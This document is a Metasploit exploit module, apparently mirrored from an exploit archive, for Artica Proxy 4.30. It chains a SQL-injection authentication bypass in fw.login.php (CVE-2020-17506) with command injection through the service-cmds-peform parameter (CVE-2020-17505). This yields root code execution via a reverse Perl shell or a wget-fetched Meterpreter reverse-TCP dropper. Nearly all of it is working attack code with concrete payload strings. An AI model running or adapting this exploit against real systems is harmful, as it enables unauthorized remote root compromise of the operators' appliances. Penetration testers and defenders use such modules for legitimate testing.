Share
## https://sploitus.com/exploit?id=PACKETSTORM:159267
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Artica proxy 4.30.000000 Auth Bypass service-cmds-peform Command Injection',  
'Description' => %q{  
This module exploits an authenticated command injection vulnerability in Artica Proxy, combined with an authentication bypass  
discovered on the same version, it is possible to trigger the vulnerability without knowing the credentials.  
The application runs in virtual appliance, successful exploitation of this vulnerability yields remote code execution as root on the  
remote system.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Max0x4141', # discovery  
'Redouane NIBOUCHA <rniboucha[at]yahoo.fr>' # msf module  
],  
'References' =>  
[  
['CVE', '2020-17505'], # RCE  
['CVE', '2020-17506'], # Auth bypass  
['EDB', '48744'],  
['PACKETSTORM', '158868'],  
['URL', 'https://blog.max0x4141.com/post/artica_proxy/']  
],  
'DefaultOptions' =>  
{  
'SSL' => true,  
'RPort' => 9000  
},  
'Platform' => %w[unix linux],  
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],  
'Targets' => [  
[  
'Unix Command',  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Type' => :unix_command,  
'DefaultOptions' => {  
'PAYLOAD' => 'cmd/unix/reverse_perl'  
}  
],  
[  
'Linux Dropper',  
'Platform' => 'linux',  
'Arch' => [ARCH_X86, ARCH_X64],  
'Type' => :linux_dropper,  
'DefaultOptions' => {  
'CMDSTAGER::FLAVOR' => 'wget',  
'PAYLOAD' => 'linux/x86/meterpreter_reverse_tcp'  
}  
]  
],  
'Privileged' => true,  
'DisclosureDate' => '2020-08-09',  
'DefaultTarget' => 1,  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [IOC_IN_LOGS]  
}  
)  
)  
  
register_options(  
[  
OptString.new('TARGETURI', [true, 'The URI of the vulnerable Artica Proxy', '/']),  
OptString.new('PHPSESSID', [false, 'The cookie obtained after successful authentication, if present'])  
]  
)  
  
# XXX: https://github.com/rapid7/metasploit-framework/issues/12963  
import_target_defaults  
end  
  
def check  
if datastore['PHPSESSID']  
@phpsessid = datastore['PHPSESSID']  
else  
check_result = auth_bypass  
return check_result unless check_result == CheckCode::Vulnerable  
  
@phpsessid = check_result.reason  
end  
rand_string = Rex::Text.rand_text_alphanumeric(4..16)  
if execute_command("echo #{Rex::Text.encode_base64(rand_string)}|base64 -d").include?(rand_string)  
CheckCode::Appears  
else  
CheckCode::Safe  
end  
end  
  
def execute_command(cmd, _opts = {})  
print_status 'Attempting to gain RCE via CVE-2020-17505'  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'cyrus.index.php'),  
'vars_get' => {  
'service-cmds-peform' => "||#{Rex::Text.uri_encode(cmd, 'hex-all')}||"  
},  
'cookie' => "PHPSESSID=#{@phpsessid}; AsWebStatisticsCooKie=1; shellinaboxCooKie=1"  
})  
res ? res.body : ''  
end  
  
def auth_bypass  
serialized_object = 'a:2:{s:3:"uid";s:4:"-100";s:22:"ACTIVE_DIRECTORY_INDEX";s:1:"1";}'  
apikey = "' UNION select 1,'#{Rex::Text.encode_base64(serialized_object)}';"  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'fw.login.php'),  
'vars_get' => {  
'apikey' => apikey  
}  
})  
return Exploit::CheckCode::Unknown("Unable to connect to #{target_uri.path}") unless res  
return Exploit::CheckCode::Safe('Authentication failed') unless res && [200, 301, 302].include?(res.code)  
  
Exploit::CheckCode::Vulnerable(res.get_cookies[/PHPSESSID=(.+?);/, 1])  
end  
  
def exploit  
if datastore['PHPSESSID']  
@phpsessid = datastore['PHPSESSID']  
else  
print_status 'Attempting to bypass authentication via CVE-2020-17506 (SQL injection)'  
bypass_result = auth_bypass  
case bypass_result  
when CheckCode::Safe then fail_with(Failure::NoAccess, bypass_result.reason)  
when CheckCode::Unknown then fail_with(Failure::Unknown, bypass_result.reason)  
else @phpsessid = bypass_result.reason  
end  
end  
print_good "Session cookie : #{@phpsessid}"  
case target['Type']  
when :unix_command then execute_command(payload.encoded)  
when :linux_dropper then execute_cmdstager  
else  
fail_with(Failure::BadConfig, 'Invalid target specified')  
end  
end  
end